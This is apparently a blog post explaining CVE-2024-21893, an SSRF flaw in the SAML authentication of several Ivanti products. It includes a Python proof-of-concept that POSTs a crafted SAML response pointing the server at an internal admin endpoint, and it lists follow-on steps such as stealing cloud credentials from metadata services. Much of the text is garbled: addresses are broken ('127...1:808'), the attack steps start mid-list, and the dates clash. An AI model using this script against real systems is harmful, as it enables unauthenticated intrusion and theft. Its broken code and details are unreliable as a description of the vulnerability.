In February 2024, a critical server-side request forgery (SSRF) vulnerability was disclosed as CVE-2024-21893, affecting several Ivanti security products. This bug sits right in the SAML authentication component of Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x), and Ivanti Neurons for ZTA. If you’re running any of these solutions in your environment, this is one of those must-fix security issues, as it allows attackers to reach internal apps and grab secrets _without any login_. This post will walk you through what this means, how it works, and show you how attackers can exploit this hole.

What is CVE-2024-21893?

CVE-2024-21893 is a *server-side request forgery (SSRF)* vulnerability in the SAML authentication component of certain Ivanti products.

What’s SSRF?
SSRF lets attackers make a vulnerable server send HTTP(S) requests — controlled by the attacker — to arbitrary URLs, including internal resources not otherwise accessible from the outside.

Ivanti Neurons for ZTA

Risk:
If exploited, attackers can use SSRF to access administrative interfaces, cloud metadata endpoints, or internal-only apps without authentication.

How Does the Ivanti SSRF Vulnerability (CVE-2024-21893) Work?

The bug lurks in SAML’s Assertion Consumer Service (ACS) endpoint. This endpoint is supposed to accept SAML responses from trusted Identity Providers (IdPs). But due to poor input validation, attackers can trick this endpoint into fetching data from internal resources by supplying arbitrary URLs in certain SAML fields.

Send this response (or redirect a victim to it).

3. The Ivanti product, parsing this SAML response, fetches the resource — which could be any internal-only endpoint.
4. If secrets/configs/keys are at those endpoints (like cloud metadata URLs or management APIs), the attacker gains another foothold.

Example: Exploiting the Flaw

Here’s a simplified Python example of how an attacker might leverage the flaw. This is for demonstration/education, not for illegal use.

import base64
import requests

# 1. Encode a malicious SAML Response
malicious_acs_url = "http://127...1:808/admin";  # Internal endpoint attacker wants to hit

malicious_saml = f"""<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.:protocol">
<Issuer>attacker.com</Issuer>
<Assertion>
<AudienceRestriction>
<Audience>{malicious_acs_url}</Audience>
</AudienceRestriction>
</Assertion>
</samlp:Response>"""

encoded = base64.b64encode(malicious_saml.encode()).decode()

# 2. Send SAML Response to the Ivanti ACS endpoint
endpoint = "https://<IVANTI_TARGET>/dana-na/auth/saml-consumer.cgi";
data = {
    "SAMLResponse": encoded
}
response = requests.post(endpoint, data=data, verify=False)
print(response.text)

What happens here:
When this script POSTS the SAML response, the vulnerable Ivanti instance may try to fetch the *Audience* URL on behalf of the attacker. If it’s set to something like http://localhost:808/admin and that page has anything sensitive, the attacker can grab it.

Note: Details may vary depending on how the actual ACS handler is implemented and the specifics of the endpoint.

Possible Post-Exploitation Steps

Once an attacker abuses SSRF, what can they do?

Query internal admin APIs of Ivanti devices.

- Access AWS/GCP metadata endpoints to steal cloud credentials.

Real-World References

- Official Ivanti Security Advisory
- CVE Detail at NVD
- Huntress Analysis & Proof-of-Concept

Conclusion

CVE-2024-21893 is a powerful SSRF bug in Ivanti that lets threat actors reach behind your firewall with almost no obstacles. Ivanti products are juicy targets for ransomware gangs and APTs, so this isn’t theoretical — exploitation _in the wild_ is possible. Make sure your Ivanti Connect Secure, Policy Secure, and Neurons for ZTA are patched up. For network defenders, keep internal endpoints hidden and monitor for weird ACS access patterns.

Timeline

Published on: 01/31/2024 18:15:47 UTC
Last modified on: 02/01/2024 02:00:01 UTC